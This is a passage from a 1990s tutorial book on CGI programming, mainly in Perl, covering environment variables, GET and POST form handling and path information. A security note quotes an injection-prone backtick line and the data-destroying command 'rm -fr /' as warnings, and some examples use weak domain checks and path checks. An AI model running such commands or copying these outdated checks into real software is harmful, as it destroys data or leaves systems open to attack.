GATEWAY_INTERFACE | The revision of the Common Gateway Interface that the server uses.
SERVER_NAME | The server's hostname or IP address.
SERVER_SOFTWARE | The name and version of the server software that is answering the client request.
SERVER_PROTOCOL | The name and revision of the information protocol the request came in with.
SERVER_PORT | The port number of the host on which the server is running.
REQUEST_METHOD | The method with which the information request was issued.
PATH_INFO | Extra path information passed to a CGI program.
PATH_TRANSLATED | The translated version of the path given by the variable PATH_INFO.
SCRIPT_NAME | The virtual path (e.g., /cgi-bin/program.pl) of the script being executed.
DOCUMENT_ROOT | The directory from which Web documents are served.
QUERY_STRING | The query information passed to the program. It is appended to the URL with a "?".
REMOTE_HOST | The remote hostname of the user making the request.
REMOTE_ADDR | The remote IP address of the user making the request.
AUTH_TYPE | The authentication method used to validate a user.
REMOTE_USER | The authenticated name of the user.
REMOTE_IDENT | The user making the request. This variable will only be set if NCSA IdentityCheck flag is enabled, and the client machine supports the RFC 931 identification scheme (ident daemon).
CONTENT_TYPE | The MIME type of the query data, such as "text/html".
CONTENT_LENGTH | The length of the data (in bytes or the number of characters) passed to the CGI program through standard input.
HTTP_FROM | The email address of the user making the request. Most browsers do not support this variable.
HTTP_ACCEPT | A list of the MIME types that the client can accept.
HTTP_USER_AGENT | The browser the client is using to issue the request.
HTTP_REFERER | The URL of the document that the client points to before accessing the CGI program.

We'll use examples to demonstrate how these variables are typically used within a CGI program.

About This Server

Let's start with a simple program that displays various information about the server, such as the CGI and HTTP revisions used and the name of the server software.

#!/usr/local/bin/perl
print "Content-type: text/html", "\n\n";
print "<HTML>", "\n";
print "<HEAD><TITLE>About this Server</TITLE></HEAD>", "\n";
print "<BODY><H1>About this Server</H1>", "\n";
print "<HR><PRE>";
print "Server Name:      ", $ENV{'SERVER_NAME'}, "<BR>", "\n";
print "Running on Port:  ", $ENV{'SERVER_PORT'}, "<BR>", "\n";
print "Server Software:  ", $ENV{'SERVER_SOFTWARE'}, "<BR>", "\n";
print "Server Protocol:  ", $ENV{'SERVER_PROTOCOL'}, "<BR>", "\n";
print "CGI Revision:     ", $ENV{'GATEWAY_INTERFACE'}, "<BR>", "\n";
print "<HR></PRE>", "\n";
print "</BODY></HTML>", "\n";
exit (0);

Let's go through this program step by step. The first line is very important. It instructs the server to use the Perl interpreter located in the /usr/local/bin directory to execute the CGI program. Without this line, the server won't know how to run the program, and will display an error stating that it cannot execute the program.

Once the CGI script is running, the first thing it needs to generate is a valid HTTP header, ending with a blank line. The header generally contains a content type, also known as a MIME type. In this case, the content type of the data that follows is text/html.

After the MIME content type is output, we can go ahead and display output in HTML. We send the information directly to standard output, which is read and processed by the server, and then sent to the client for display. Five environment variables are output, consisting of the server name (the IP name or address of the machine where the server is running), the port the server is running on, the server software, and the HTTP and CGI revisions. In Perl, you can access the environment variables through the %ENV associative array, keyed by name.

A typical output of this program might look like this:

<HTML>
<HEAD><TITLE>About this Server</TITLE></HEAD>
<BODY><H1>About this Server</H1>
<HR><PRE>
Server Name:      bu.edu
Running on Port:  80
Server Software:  NCSA/1.4.2
Server Protocol:  HTTP/1.0
CGI Revision:     CGI/1.1
<HR></PRE>
</BODY></HTML>

Check the Client Browser

Now, let's look at a slightly more complicated example. One of the more useful items that the server passes to the CGI program is the client (or browser) name. We can put this information to good use by checking the browser type, and then displaying either a text or graphic document.

Different Web browsers support different HTML tags and different types of information. If your CGI program generates an inline image, you need to be sensitive that some browsers support <IMG> extensions that others don't, some browsers support JPEG images as well as GIF images, and some browsers (notably, Lynx and the old www client) don't support images at all. Using the HTTP_USER_AGENT environment variable, you can determine which browser is being used, and with that information you can fine-tune your CGI program to generate output that is optimized for that browser.

Let's build a short program that delivers a different document depending on whether the browser supports graphics. First, identify the browsers that you know don't support graphics. Then get the name of the browser from the HTTP_USER_AGENT variable:

#!/usr/local/bin/perl
$nongraphic_browsers = 'Lynx|CERN-LineMode';
$client_browser  = $ENV{'HTTP_USER_AGENT'};

The variable $nongraphic_browsers contains a list of the browsers that don't support graphics. Each browser is separated by the "|" character, which represents alternation in the regular expression we use later in the program. In this instance, there are only two browsers listed, Lynx and www. ("CERN-LineMode" is the string the www browser uses to identify itself.)

The HTTP_USER_AGENT environment variable contains the name of the browser. All environment variables that start with HTTP represent information that is sent by the client. The server adds the prefix and sends this data with the other information to the CGI program.

Now identify the files that you intend to return depending on whether the browser supports graphics:

$graphic_document = "full_graphics.html";
$text_document = "text_only.html";

The variables $graphic_document and $text_document contain the names of the two documents that we will use.

The next thing to do is simply to check if the browser name is included in the list of non-graphic browsers.

if ($client_browser =~ /$nongraphic_browsers/) {
    $html_document = $text_document;
} else {
    $html_document = $graphic_document;
}

The conditional checks whether the client browser is one that we know does not support graphics. If it is, the variable $html_document will contain the name of the text-only version of the HTML file. Otherwise, it will contain the name of the version of the HTML document that contains graphics.

Finally, print the partial header and open the file. (We need to get the document root from the DOCUMENT_ROOT variable and prepend it to the filename, so the Perl program can locate the document in the file system.)

print "Content-type: text/html", "\n\n";
$document_root = $ENV{'DOCUMENT_ROOT'};
$html_document = join ("/", $document_root, $html_document);
if (open (HTML, "<" . $html_document)) {
    while (<HTML>) {
           print;
    }
    close (HTML);
} else {
    print "Oops! There is a problem with the configuration on this system!", "\n";
    print "Please inform the Webmaster of the problem. Thanks!", "\n";
}
exit (0);

If the filename stored in $html_document can be opened for reading (as specified by the "<" character), the while loop iterates through the file and displays it. The open command creates a handle, HTML, which is then used to access the file. During the while loop, as Perl reads a line from the HTML file handle, it places that line in its default variable $_. The print statement without any arguments displays the value stored in $_. After the entire file is displayed, it is closed. If the file cannot be opened, an error message is output.

Restricting Access for Specified Domains

Suppose you have a set of HTML documents: one for users in your IP domain (e.g., bu.edu), and another one for users outside of your domain. Why would anyone want to do this, you may ask? Say you have a document containing internal company phone numbers, meeting schedules, and other company information. You certainly don't want everyone on the Internet to see this document. So you need to set up some type of security to keep your documents away from prying eyes.

You can configure most servers to restrict access to your documents according to what domain the user connects from. For example, under the NCSA server, you can list the domains which you want to allow or deny access to certain directories by editing the access.conf configuration file. However, you can also control domain-based access in a CGI script. The advantage of using a CGI script is that you don't have to turn away other domains, just send them different documents. Let's look at a CGI program that performs pseudo authentication:

#!/usr/local/bin/perl
$host_address = 'bu\.edu';
$ip_address = '128\.197';

These two variables hold the IP domain name and address that are considered local. In other words, users in this domain can access the internal information. The period is "escaped" in both of these variables (by placing a "\" before the character), because the variables will be interpolated in a regular expression later in this program. The "." character has a special significance in a regular expression; it is used to match any character other than a newline.

$remote_address = $ENV{'REMOTE_ADDR'};
$remote_host = $ENV{'REMOTE_HOST'};

The environment variable REMOTE_ADDR returns the IP numerical address for the remote user, while REMOTE_HOST contains the IP alphanumeric name for the remote user. There are times when REMOTE_HOST will not return the name, but only the address (if the DNS server does not have an entry for the domain). In such a case, you can use the following snippet of code to convert an IP address to its corresponding name:

@subnet_numbers = split (/\./, $remote_address);
$packed_address = pack ("C4", @subnet_numbers);
($remote_host)  = gethostbyaddr ($packed_address, 2);

Don't worry about this code yet. We will discuss functions like these in Chapter 9, Gateways, Databases, and Search/Index Utilities. Now, let's continue with the rest of this program.

$local_users = "internal_info.html";
$outside_users = "general.html";
if (($remote_host =~ /\.$host_address$/) && ($remote_address =~ /^$ip_address/)) {
    $html_document = $local_users;
} else {
    $html_document = $outside_users;
}

The remote host is examined to see if it ends with the domain name, as specified by the $host_address variable, and the remote address is checked to make sure it starts with the domain address stored in $ip_address. Depending on the outcome of the conditional, the $html_document variable is set accordingly.

print "Content-type: text/html", "\n\n";
$document_root = $ENV{'DOCUMENT_ROOT'};
$html_document = join ("/", $document_root, $html_document);
if (open (HTML, "<" . $html_document)) {
    while (<HTML>) {
           print;
    }
    close (HTML);
} else {
    print "Oops! There is a problem with the configuration on this system!", "\n";
    print "Please inform the Webmaster of the problem. Thanks!", "\n";
}
exit (0);

The specified document is opened and the information stored within it is displayed.

User Authentication and Identification

In addition to domain-based security, most HTTP servers also support a more complicated method of security, known as user authentication. When configured for user authentication, specified files or directories are set up to allow access only by certain users. A user attempting to open the URLs associated with these files is prompted for a name and password.

The user name and password (which, incidentally, need have no relation to the user's real user name and password on any system) is checked by the server, and if legitimate, the user is allowed access. In addition to allowing the user access to the protected file, the server also maintains the user's name and passes it to any subsequent CGI programs that are called. The server passes the user name in the REMOTE_USER environment variable.

A CGI script can therefore use server authentication information to identify users.[1] This isn't what user authentication was meant for, but if the information is available, it can come in mighty handy. Here is a snippet of code that illustrates what you can do with the REMOTE_USER environment variable:

[1] The HTTP_FROM environment variable also carries information that can be used to identify a user-generally, the user's email address. However, this variable depends on the browser to make it available, and few browsers do, so HTTP_FROM is of limited use.

$remote_user = $ENV{'REMOTE_USER'};
if ($remote_user eq "jack") {
    print "Welcome Jack, how is Jack Manufacturing doing these days?", "\n";
} elsif ($remote_user eq "bob") {
    print "Hey Bob, how's the wife doing? I heard she was sick.", "\n";
}
.
.
.

Server authentication does not provide complete security: Since the user name and password are sent unencrypted over the network, it's possible for a "snoop" to look at this data. For that reason, it's a bad idea to use your real login name and password for server authentication.

Where Did You Come From?

Companies who provide services on the Web often want to know from what server (or document) the remote users came. For example, say you visit the server located at http://www.cgi.edu, and then from there you go to http://www.flowers.com. A CGI program on www.flowers.com can actually determine that you were previously at www.cgi.edu.

How is this useful? For advertising, of course. If a company determines that 90% of all users that visit them come from a certain server, then they can perhaps work something out financially with the webmaster at that server to provide advertising. Also, if your site moves or the content at your site changes dramatically, you can help avoid frustration among your visitors by informing the webmasters at the sites referring to yours to change their links. Here is a simple program that displays this "referral" information:

#!/usr/local/bin/perl
print "Content-type: text/plain", "\n\n";
$remote_address = $ENV{'REMOTE_ADDR'};
$referral_address = $ENV{'HTTP_REFERER'};
print "Hello user from $remote_address!", "\n";
print "The last site you visited was: $referral_address. Am I genius or what?", "\n";
exit (0);

The environment variable HTTP_REFERER, which is passed to the server by the client, contains the last site the user visited before accessing the current server.

Now for the caveats. There are three important things you need to remember before using the HTTP_REFERER variable:

  • First, not all browsers set this variable.

  • Second, if a user accesses your server first, right at startup, this variable will not be set.

  • Third, if someone accesses your site via a bookmark or just by typing in the URL, the referring document is meaningless. So if you are keeping some sort of count to determine where users are coming from, it won't be totally accurate.

Previous | Home | Next
Introduction | Book Index | Accessing Form Input
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 2] 2.3 Accessing Form Input

CGI Programming on the World Wide Web

Previous Chapter 2
Input to the Common Gateway Interface 		Next

2.3 Accessing Form Input

Finally, let's get to form input. We mentioned forms briefly in Chapter 1, The Common Gateway Interface, and we'll cover them in more detail in Chapter 4, Forms and CGI. But here, we just want to introduce you to the basic concepts behind forms.

As we described in Chapter 1, forms provide a way to get input from users and supply it to a CGI program, as shown in Figure 2.1. The Web browser allows the user to select or type in information, and then sends it to the server when the Submit button is pressed. In this chapter, we'll talk a little about how the CGI program accesses the form input.

Figure 2.1: Form interaction with CGI

[Graphic: Figure 2-1]

Query Strings

One way to send form data to a CGI program is by appending the form information to the URL, after a question mark. You may have seen URLs like the following:

http://some.machine/cgi-bin/name.pl?fortune

Up to the question mark (?), the URL should look familiar. It is merely a CGI script being called, by the name name.pl.

What's new here is the part after the "?". The information after the "?" character is known as a query string. When the server is passed a URL with a query string, it calls the CGI program identified in the first part of the URL (before the "?") and then stores the part after the "?" in the environment variable QUERY_STRING. The following is a CGI program called name.pl that uses query information to execute one of three possible UNIX commands.

#!/usr/local/bin/perl
print "Content-type: text/plain", "\n\n";
$query_string = $ENV{'QUERY_STRING'};
if ($query_string eq "fortune") {
    print `/usr/local/bin/fortune`;
} elsif ($query_string eq "finger") {
    print `/usr/ucb/finger`;
} else {
    print `/usr/local/bin/date`;
}
exit (0);

You can execute this script as either:

http://some.machine/cgi-bin/name.pl?fortune
http://some.machine/cgi-bin/name.pl?finger

or

http://some.machine/cgi-bin/name.pl

and you will get different output. The CGI program executes the appropriate system command (using backtics) and the results are sent to standard output. In Perl, you can use backtics to capture the output from a system command.

NOTE:

You should always be very careful when executing any type of system commands in CGI applications, because of possible security problems. You should never do something like this:

print `$query_string`;

NOTE:

The danger is that a diabolical user can enter a dangerous system command, such as:

rm -fr /

NOTE:

which can delete everything on your system.

Nor should you expose any system data, such as a list of system processes, to the outside world.

A Simple Form

Although the previous example will work, the following example is a more realistic illustration of how forms work with CGI. Instead of supplying the information directly as part of the URL, we'll use a form to solicit it from the user.

(Don't worry about the HTML tags needed to create the form; they are covered in detail in Chapter 4, Forms and CGI.)

<HTML>
<HEAD><TITLE>Simple Form!</TITLE></HEAD>
<BODY>
<H1>Simple Form!</H1>
<HR>
<FORM ACTION="/cgi-bin/unix.pl" METHOD="GET">
Command: <INPUT TYPE="text" NAME="command" SIZE=40>
<P>
<INPUT TYPE="submit" VALUE="Submit Form!">
<INPUT TYPE="reset"  VALUE="Clear Form">
</FORM>
<HR>
</BODY>
</HTML>

Since this is HTML, the appearance of the form depends on what browser is being used. Figure 2.2 shows what the form looks like in Netscape.

Figure 2.2: Simple form in Netscape

[Graphic: Figure 2-2]

This form consists of one text field titled "Command:" and two buttons. The Submit Form! button is used to send the information in the form to the CGI program specified by the ACTION attribute. The Clear Form button clears the information in the field.

The METHOD=GET attribute to the <FORM> tag in part determines how the data is passed to the server. We'll talk more about different methods soon, but for now, we'll use the default method, GET. Now, assuming that the user enters "fortune" into the text field, when the Submit Form! button is pressed the browser sends the following request to the server:

GET /cgi-bin/unix.pl?command=fortune HTTP/1.0
.
. (header information)
.

The server executes the script called unix.pl in the cgi-bin directory, and places the string "command=fortune" into the QUERY_STRING environment variable. Think of this as assigning the variable "command" (specified by the NAME attribute to the <INPUT> tag) with the string supplied by the user, "fortune".

command=fortune

Let's go through the simple unix.pl CGI program that handles this form:

#!/usr/local/bin/perl
print "Content-type: text/plain", "\n\n";
$query_string = $ENV{'QUERY_STRING'};
($field_name, $command) = split (/=/, $query_string);

After printing the content type (text/plain in this case, since the UNIX programs are unlikely to produce HTML output) and getting the query string from the %ENV array, we use the split function to separate the query string on the "=" character into two parts, with the first part before the equal sign in $field_name, and the second part in $command. In this case, $field_name will contain "command" and $command will contain "fortune." Now, we're ready to execute the UNIX command:

if ($command eq "fortune") {
    print `/usr/local/bin/fortune`;
} elsif ($command eq "finger") {
    print `/usr/ucb/finger`;
} else {
    print `/usr/local/bin/date`;
}
exit (0);

Since we used the GET method, all the form data is included in the URL. So we can directly access this program without the form, by using the following URL:

http://some.machine/cgi-bin/unix.pl?command=fortune

It will work exactly as if you had filled out the form and submitted it.

The GET and POST Methods

In the previous example, we used the GET method to process the form. However, there is another method we can use, called POST. Using the POST method, the server sends the data as an input stream to the program. That is, if in the previous example the <FORM> tag had read:

<FORM ACTION="unix.pl" METHOD="POST">

the following request would be sent to the server:

POST /cgi-bin/unix.pl HTTP/1.0
.
. (header information)
.
Content-length: 15
command=fortune

The version of unix.pl that handles the form with POST data follows. First, since the server passes information to this program as an input stream, it sets the environment variable CONTENT_LENGTH to the size of the data in number of bytes (or characters). We can use this to read exactly that much data from standard input.

#!/usr/local/bin/perl
$size_of_form_information = $ENV{'CONTENT_LENGTH'};

Second, we read the number of bytes, specified by $size_of_form_information, from standard input into the variable $form_info.

read (STDIN, $form_info, $size_of_form_information);

Now we can split the $form_info variable into a $field_name and $command, as we did in the GET version of this example. As with the GET version, $field_name will contain "command," and $command will contain "fortune" (or whatever the user typed in the text field). The rest of the example remains unchanged:

($field_name, $command) = split (/=/, $form_info);
print "Content-type: text/plain", "\n\n";
if ($command eq "fortune") {
    print `/usr/local/bin/fortune`;
} elsif ($command eq "finger") {
    print `/usr/ucb/finger`;
} else {
    print `/usr/local/bin/date`;
}
exit (0);

Since it's the form that determines whether the GET or POST method is used, the CGI programmer can't control which method the program will be called by. So scripts are often written to support both methods. The following example will work with both methods:

#!/usr/local/bin/perl
$request_method = $ENV{'REQUEST_METHOD'};
if ($request_method eq "GET") {
          $form_info = $ENV{'QUERY_STRING'};
} else {
      $size_of_form_information = $ENV{'CONTENT_LENGTH'};
      read (STDIN, $form_info, $size_of_form_information);
}
($field_name, $command) = split (/=/, $form_info);
print "Content-type: text/plain", "\n\n";
if ($command eq "fortune") {
    print `/usr/local/bin/fortune`;
} elsif ($command eq "finger") {
    print `/usr/ucb/finger`;
} else {
    print `/usr/local/bin/date`;
 }
exit (0);

The environment variable REQUEST_METHOD contains the request method used by the form. In this example, the only new thing we did was check the request method and then assign the $form_info variable as needed.

Encoded Data

So far, we've shown an example for retrieving very simple form information. However, form information can get complicated. Since under the GET method the form information is sent as part of the URL, there can't be any spaces or other special characters that are not allowed in URLs. Therefore, some special encoding is used. We'll talk more about this in Chapter 4, Forms and CGI, but for now we'll show a very simple example. First the HTML needed to create a form:

<HTML>
<HEAD><TITLE>When's your birthday?</TITLE></HEAD>
<BODY>
<H1>When's your birthday?</H1>
<HR>
<FORM ACTION="/cgi-bin/birthday.pl" METHOD="POST">
Birthday (in the form of mm/dd/yy): <INPUT TYPE="text" NAME="birthday" SIZE=40>
<P>
<INPUT TYPE="submit" VALUE="Submit Form!">
<INPUT TYPE="reset"  VALUE="Clear Form">
</FORM>
<HR>
</BODY>
</HTML>

When the user submits the form, the client issues the following request to the server (assuming the user entered 11/05/73):

POST /cgi-bin/birthday.pl HTTP/1.0
.
. (information)
.
Content-length: 21
birthday=11%2F05%2F73

In the encoded form, certain characters, such as spaces and other character symbols, are replaced by their hexadecimal equivalents. In this example, our program needs to "decode" this data, by converting the "%2F" to "/".

Here is the CGI program-birthday.pl-that handles this form:

#!/usr/local/bin/perl
$size_of_form_information = $ENV{'CONTENT_LENGTH'};
read (STDIN, $form_info, $size_of_form_information);

The following complicated-looking regular expression is used to "decode" the data (see Chapter 4, Forms and CGI for a comprehensive explanation of how this works).

$form_info =~ s/%([\dA-Fa-f][\dA-Fa-f])/pack ("C", hex ($1))/eg;

In the case of this example, it will turn "%2F" into "/". The rest of the program should be easy to follow:

($field_name, $birthday) = split (/=/, $form_info);
print "Content-type: text/plain", "\n\n";
print "Hey, your birthday is on: $birthday. That's what you told me, right?", "\n";

exit (0);

Previous | Home | Next
Using Environment Variables | Book Index | Extra Path Information
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 2] 2.4 Extra Path Information

CGI Programming on the World Wide Web

Previous Chapter 2
Input to the Common Gateway Interface 		Next

2.4 Extra Path Information

Besides passing query information to a CGI script, you can also pass additional data, known as extra path information, as part of the URL. The extra path information depends on the server knowing where the name of the program ends, and understanding that anything following the program name is "extra." Here is how you would call a script with extra path information:

http://some.machine/cgi-bin/display.pl/cgi/cgi_doc.txt

Since the server knows that display.pl is the name of the program, the string "/cgi/cgi_doc.txt" is stored in the environment variable PATH_INFO. Meanwhile, the variable PATH_TRANSLATED is also set, which maps the information stored in PATH_INFO to the document root directory (e.g., /usr/local/etc/httpd/ public/cgi/cgi-doc.txt).

Here is a CGI script--display.pl--that can be used to display text files located in the document root hierarchy:

#!/usr/local/bin/perl
$plaintext_file = $ENV{'PATH_TRANSLATED'};
print "Content-type: text/plain", "\n\n";
if ($plaintext_file =~ /\.\./) {
    print "Sorry! You have entered invalid characters in the filename.", "\n";
       print "Please check your specification and try again.", "\n";
} else {
    if (open (FILE, "<" . $plaintext_file)) {
        while (<FILE>) {
             print;
        }
        close (FILE);
    } else {
        print "Sorry! The file you specified cannot be read!", "\n";
          }
}
exit (0);

In this example, we perform a simple security check. We make sure that the user didn't pass path information containing "..". This is so that the user cannot access files located outside of the document root directory.

Instead of using the PATH_TRANSLATED environment variable, you can use a combination of PATH_INFO and DOCUMENT_ROOT, which contains the physical path to the document root directory. The variable PATH_TRANSLATED is equal to the following statement:

$path_translated = join ("/", $ENV{'DOCUMENT_ROOT'}, $ENV{'PATH_INFO'};

However, the DOCUMENT_ROOT variable is not set by all servers, and so it is much safer and easier to use PATH_TRANSLATED.

Previous | Home | Next
Accessing Form Input | Book Index | Other Languages Under UNIX
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 2] 2.5 Other Languages Under UNIX

CGI Programming on the World Wide Web

Previous Chapter 2
Input to the Common Gateway Interface 		Next

2.5 Other Languages Under UNIX

You now know the basics of how to handle and manipulate the CGI input in Perl. If you haven't guessed by now, this book concentrates primarily on examples in Perl, since Perl is relatively easy to follow, runs on all three major platforms, and also happens to be the most popular language for CGI. However, CGI programs can be written in many other languages, so before we continue, let's see how we can accomplish similar things in some other languages, such as C/C++, the C Shell, and Tcl.

C/C++

Here is a CGI program written in C (but that will also compile under C++) that parses the HTTP_USER_AGENT environment variable and outputs a message, depending on the type of browser:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void main (void)
{
    char *http_user_agent;
    printf ("Content-type: text/plain\n\n");
    http_user_agent = getenv ("HTTP_USER_AGENT");
    if (http_user_agent == NULL) {
        printf ("Oops! Your browser failed to set the HTTP_USER_AGENT ");
        printf ("environment variable!\n");
    } else if (!strncmp (http_user_agent, "Mosaic", 6)) {
        printf ("I guess you are sticking with the original, huh?\n");
    } else if (!strncmp (http_user_agent, "Mozilla", 7)) {
        printf ("Well, you are not alone. A majority of the people are ");
        printf ("using Netscape Navigator!\n");
    } else if (!strncmp (http_user_agent, "Lynx", 4)) {
        printf ("Lynx is great, but go get yourself a graphic browser!\n");
    } else {
        printf ("I see you are using the %s browser.\n", http_user_agent);
        printf ("I don't think it's as famous as Netscape, Mosaic or Lynx!\n");
    }
    exit (0);
}

The getenv function returns the value of the environment variable, which we store in the http_user_agent variable (it's actually a pointer to a string, but don't worry about this terminology). Then, we compare the value in this variable to some of the common browser names with the strncmp function. This function searches the http_user_agent variable for the specified substring up to a certain position within the entire string.

You might wonder why we're performing a partial search. The reason is that generally, the value returned by the HTTP_USER_AGENT environment variable looks something like this:

Lynx/2.4 libwww/2.14

In this case, we need to search only the first four characters for the string "Lynx" in order to determine that the browser being used is Lynx. If there is a match, the strncmp function returns a value of zero, and we display the appropriate message.

C Shell

The C Shell has some serious limitations and therefore is not recommended for any type of CGI applications. In fact, UNIX guru Tom Christiansen has written a FAQ titled "Csh Programming Considered Harmful" detailing the C Shell's problems. Here is a small excerpt from the document:

The csh is seductive because the conditionals are more C-like, so the path of least resistance is chosen and a csh script is written. Sadly, this is a lost cause, and the programmer seldom even realizes it, even when they find that many simple things they wish to do range from cumbersome to impossible in the csh.

However, for completeness sake, here is a simple shell script that is identical to the first unix.pl Perl program discussed earlier:

#!/bin/csh
echo "Content-type: text/plain"
echo ""
if ($?QUERY_STRING) then
    set command = `echo $QUERY_STRING | awk 'BEGIN {FS = "="} { print $2 }'`
    if ($command == "fortune") then
        /usr/local/bin/fortune
    else if ($command == "finger") then
        /usr/ucb/finger
    else
        /usr/local/bin/date
    endif
else
    /usr/local/bin/date
endif

The C Shell does not have any inherent functions or operators to manipulate string information. So we have no choice but to use another UNIX utility, such as awk, to split the query string and return the data on the right side of the equal sign. Depending on the input from the user, one of several UNIX utilities is called to output some information.

You may notice that the variable QUERY_STRING is exposed to the shell. Generally, this is very dangerous because users can embed shell metacharacters. However, in this case, the variable substitution is done after the `` command is parsed into separate commands. If things happened in the reverse order, we could potentially have a major headache!

Tcl

The following Tcl program uses an environment variable that we haven't yet discussed up to this point. The HTTP_ACCEPT variable contains a list of all of the MIME content types that a browser can accept and handle. A typical value returned by this variable might look like this:

application/postscript, image/gif, image/jpeg, text/plain, text/html

You can use this information to return different types of data from your CGI document to the client. The program below parses this accept list and outputs each MIME type on a different line:

#!/usr/local/bin/tclsh
puts "Content-type: text/plain\n"
set http_accept $env(HTTP_ACCEPT)
set browser $env(HTTP_USER_AGENT)
puts "Here is a list of the MIME types that the client, which"
puts "happens to be $browser, can accept:\n"
set mime_types [split $http_accept ,]
foreach type $mime_types {
    puts "- $type"
}
exit 0

As in Perl, the split command splits a string on a specified delimiter, placing all of the resulting substrings in an array. In this case, the mime_types array contains each MIME type from the accept list. Once that's done, the foreach loop iterates through the array, displaying each element.

Previous | Home | Next
Extra Path Information | Book Index | Other Languages Under Microsoft Windows
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 2] 2.6 Other Languages Under Microsoft Windows

CGI Programming on the World Wide Web

Previous Chapter 2
Input to the Common Gateway Interface 		Next

2.6 Other Languages Under Microsoft Windows

On Microsoft Windows, your mileage varies according to which Web server you use. The freely available 16-bit server for Windows 3.1, Bob Denny's winhttpd, supports a CGI interface for Perl programs, but it also supports a Windows CGI interface that allows you to write CGI programs in languages like Visual Basic, Delphi, and Visual C++.

Under Windows NT and Windows 95, available servers are WebSite by O'Reilly & Associates, Inc. (developed by Denny as a 32-bit commercial product), NetSite by Netscape, Purveyor by Process Software, and the Internet Server Solution from Microsoft (not yet released as of this writing, but imminent and not easily ignored). There is also another freely available server ( EMWACS), although it is not considered as robust as the commercial products.

All platforms support CGI development in Perl. In addition, WebSite, Netscape, and Microsoft all include Windows CGI interfaces. However, the CGI implementations are all slightly different.

Visual Basic

Visual Basic is perfect for developing CGI applications because it supports numerous features for accessing data in the Windows environment. This includes OLE, DDE, Sockets, and ODBC. ODBC, or Open Database Connectivity, allows you to access a variety of relational and non-relational databases. The actual implementation of the Windows CGI interface determines how CGI variables are read from a Visual Basic program. This simple example uses the WebSite 1.0 server, which depends on a CGI.BAS module that sets up some global variables representing the CGI variables.

Sub CGI_Main ()
      Send ("Content-type: text/plain")
      Send ("")
      Send ("Server Name")
      Send ("")
      Send ("The server name is: " & CGI_ServerName)
End Sub

The module function Main in CGI.BAS calls the user-written CGI_Main function when executing the CGI program. The CGI_ServerName variable contains the name of the server. As we said, your mileage will vary according to which Windows-based server you use.

Perl for Windows NT

As I mentioned earlier, Perl has been ported to Windows NT as well as to many other platforms, including DOS and Windows 3.1. This makes CGI programming much easier on these platforms, because we have access to the powerful pattern-matching abilities and to various extensions to such utilities as databases and graphics packages.

Previous | Home | Next
Other Languages Under UNIX | Book Index | Other Languages on Macintosh Servers
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 2] 2.7 Other Languages on Macintosh Servers

CGI Programming on the World Wide Web

Previous Chapter 2
Input to the Common Gateway Interface 		Next

2.7 Other Languages on Macintosh Servers

The two commonly used HTTP servers for the Macintosh are WebSTAR and MacHTTP, both of which are nearly identical in their functionality. These servers use AppleEvents to communicate with external applications, such as CGI programs. The language of choice for CGI programming on the Macintosh is AppleScript.

AppleScript

Though AppleScript does not have very intuitive functions for pattern matching, there exist several CGI extensions, called osax (Open Scripting Architecture eXtended), that make CGI programming very easy. Here is a simple example of an AppleScript CGI:

set crlf to (ASCII character 13) & (ASCII character 10)
set http_header to "HTTP/1.0 200 OK" & crlf & -
         "Server: WebSTAR/1.0 ID/ACGI" & crlf & -
         "MIME-Version: 1.0" & crlf & "Content-type: text/html" & crlf & crlf

on `event WWWsdoc' path_args -
   given `class kfor':http_search_args, `class post':post_args, `class meth':method,
         `class addr':client_address, `class user':username, `class pass':password,
         `class frmu':from_user, `class svnm':server_name, `class svpt':server_port,
         `class scnm':script_name, `class ctyp':content_type, `class refr':referer,
         `class Agnt':user_agent, `class Kact':action, `class Kapt':action_path,
        `class Kcip':client_ip, `class Kfrq':full_request

   set virtual_document to http_header & -
       "<H1>Server Software</H1><BR><HR>" & crlf -
       "The server that is responding to your request is: " & server_name & crlf -
       "<BR>" & crlf
   return virtual_document
end `event WWW sdoc'

Although the mechanics of this code might look different from those of previous examples, this AppleScript program functions in exactly the same way. First, the HTTP header that we intend to output is stored in the http_header variable. Both MacHTTP and WebSTAR servers require CGI programs to output a complete header. Second, the on construct sets up a handler for the "sdoc" AppleEvent, which consists of all the "environment" information and form data. This event is sent to the CGI program by the server when the client issues a request. Finally, the header and other data are returned for display on the client.

MacPerl

Yes, Perl has also been ported to the Macintosh! This will allow you to develop your CGI applications in much the same way as you would under the UNIX operating system. However, you need to obtain the MacHTTP CGI Script Extension. This extension allows you to use the associative array %ENV to access the various environment variables in MacPerl.

Previous | Home | Next
Other Languages Under Microsoft Windows | Book Index | Examining Environment Variables
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 2] 2.8 Examining Environment Variables

CGI Programming on the World Wide Web

Previous Chapter 2
Input to the Common Gateway Interface 		Next

2.8 Examining Environment Variables

What would the chapter be without a program that displays some of the commonly used environment variables? Here it is:

#!/usr/local/bin/perl
%list = ('SERVER_SOFTWARE',   'The server software is: ',
         'SERVER_NAME',       'The server hostname, DNS alias, or IP address is: ',
         'GATEWAY_INTERFACE', 'The CGI specification revision is: ',
         'SERVER_PROTOCOL',   'The name and revision of info protocol is: ',
         'SERVER_PORT',       'The port number for the server is: ',
         'REQUEST_METHOD',    'The info request method is: ',
         'PATH_INFO',         'The extra path info is: ',
         'PATH_TRANSLATED',   'The translated PATH_INFO is: ',
         'DOCUMENT_ROOT',     'The server document root directory is: ',
         'SCRIPT_NAME',       'The script name is: ',
         'QUERY_STRING',      'The query string is (FORM GET): ',
         'REMOTE_HOST',       'The hostname making the request is: ',
         'REMOTE_ADDR',       'The IP address of the remote host is: ',
         'AUTH_TYPE',         'The authentication method is: ',
         'REMOTE_USER',       'The authenticated user is: ',
         'REMOTE_IDENT',      'The remote user is (RFC 931): ',
         'CONTENT_TYPE',      'The content type of the data is (POST, PUT): ',
         'CONTENT_LENGTH',    'The length of the content is: ',
         'HTTP_ACCEPT',       'The MIME types that the client will accept are: ',
         'HTTP_USER_AGENT',   'The browser of the client is: ',
         'HTTP_REFERER',      'The URL of the referer is: ');
print "Content-type: text/html","\n\n";
